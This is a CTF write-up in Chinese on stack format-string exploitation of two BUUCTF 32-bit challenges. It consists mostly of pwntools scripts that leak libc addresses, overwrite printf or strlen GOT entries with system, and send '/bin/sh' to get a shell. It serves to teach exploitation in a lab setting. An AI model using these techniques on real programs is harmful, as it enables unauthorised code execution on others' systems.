1. 程式人生 > 其它 >星盟 | 棧上格式化字串漏洞利用

星盟 | 棧上格式化字串漏洞利用

wdb_2018_2nd_easyfmt | buuctf

檢視保護可以知道GOT表可寫,只開了NX保護,主體函式是迴圈函式,那麼可以通過洩露地址,將printf(&buf);覆寫為system("/bin/sh");

但是程式中本身沒有呼叫system,所以要在libc中找system,所以第一步是洩露地址,模擬輸入,洩露棧資料(與libc有關的)

printf與system的地址有2.5位元組不同

# 本地
from pwn import *
context.log_level = "debug"
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#p = remote("node4.buuoj.cn",26170)
p = process("wdb_2018_2nd_easyfmt")

elf = ELF('./wdb_2018_2nd_easyfmt')

 
libc = ELF("./lib32.so")

printf_got = elf.got['printf']

success("printf_got => {} ".format(hex(printf_got)))
def myp32(input):
    return p32(input).decode("iso-8859-1")


#gdb.attach(p,"b*printf")

p.recvuntil("Do you know repeater?\n")
p.sendline("%3$p")
libc_base = int(p.recv(10),16) -  0x9079b 
system_addr = libc_base + 0x3adb0



success("libc_base => {} ".format(hex(libc_base)))
success("system_addr => {} ".format(hex(system_addr)))


'''
system_low = system_addr&0xffffS
system_high = (system_addr>>16)&0xffff
payload = myp32(printf_got) +myp32(printf_got+2)  
payload += "%"+str(system_low-8)+'c%6$hn'
payload += "%"+str(system_high-system_low)+'c%7$hn'
'''
payload = fmtstr_payload(6,{printf_got:system_addr},write_size = 'short')
p.send(payload)
#pause()
#sleep(0.2)
pause()
p.send('/bin/sh\x00')
#p.recvall()
pause()
p.interactive()


axb_2019_fmt32 | buuctf

跟上題的保護機制一樣,IDA原始碼如下,對於迴圈有輸入的時間限制,可以選擇洩露libc基地址

在printf處下斷點,可以看到輸入相對於格式化字串的偏移為8,並且還沒對齊,對其需要一個字元。

#本地

from pwn import *

context(os='linux',arch='i386',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

r = process("./axb_2019_fmt32")
#r = remote("node4.buuoj.cn","27205")
elf=ELF("./axb_2019_fmt32")
libc = ELF("./libc-2.23 .so")
printf_got = elf.got['printf']

def myp32(input):
    return p32(input).decode("iso-8859-1")

#gdb.attach(r,"b *printf")

payload = 'a' + myp32(printf_got) +'22'+ '%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print ("printf_addr:"+hex(printf_addr))

#libc=LibcSearcher('printf',printf_addr)

#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')

libc_base=printf_addr-0x49680
system=libc_base+ 0x3adb0

success("libc_base => {} ".format(hex(libc_base)))
success("system_addr => {} ".format(hex(system)))


payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "short",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload)
gdb.attach(r,"b *printf")
#pause()
r.sendline(';/bin/sh\x00')

r.interactive()

參考


#coding:utf-8
from pwn import *

context(os='linux',arch='i386',log_level='debug')

#sh = process("./axb_2019_fmt32")
sh = remote("node4.buuoj.cn","27205")

please_tell_me = 0x804887D
printf_got = 0x804A014
strlen_got = 0x804A024

def myp32(input):
    return p32(input).decode("iso-8859-1")

x = 'A' + myp32(printf_got)+ '22' + '%8$s'
sh.sendafter("Please tell me:",x)

sh.recvuntil("22")
printf_addr = u32(sh.recv(4))
print(hex(printf_addr))

system_addr = printf_addr - 0xe6e0
binsh = printf_addr + 0x11000b


high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff
print('sys'+hex(system_addr))
print('low'+hex(low_sys))
print('high'+hex(high_sys))

x = 'A' + myp32(strlen_got) + myp32(strlen_got+2) + '%' + str(low_sys-18) +'c%8$hn' + '%' + str(high_sys - low_sys) + 'c%9$hn'
#x = 'A' + p32(strlen_got) + '%' + str(system_addr-14) + 'c%8$n' 
# 用%n寫入不行,程式超時而且並沒有寫入,之後還是正常執行
sh.sendafter("Please tell me:",x) 


x = ';/bin/sh\x00'
sh.sendafter("Please tell me:",x)

sh.interactive()
遠端
from os import system
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

#r = process("./axb_2019_fmt32")
r = remote("node4.buuoj.cn","27205")
elf=ELF("./axb_2019_fmt32")
#libc = ELF("./libc-2.23 .so")
printf_got = elf.got['printf']
strlen_got = 0x804A024
def myp32(input):
    return p32(input).decode("iso-8859-1")

#gdb.attach(r,"b *printf")

payload = 'a' + myp32(printf_got) +'22'+ '%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print ("printf_addr:"+hex(printf_addr))

#libc=LibcSearcher('printf',printf_addr)

#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')

system = printf_addr- 0xe6e0

success("system_addr => {} ".format(hex(system)))


payload=b'a'+fmtstr_payload(8,{strlen_got:system},write_size = "short",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload)
#gdb.attach(r,"b *printf")
#pause()
r.sendline(';/bin/sh\x00')

r.interactive()

不太明白的是為什麼要替換strlen和地址偏移(本地除錯不出來這個偏移)

zer0_1s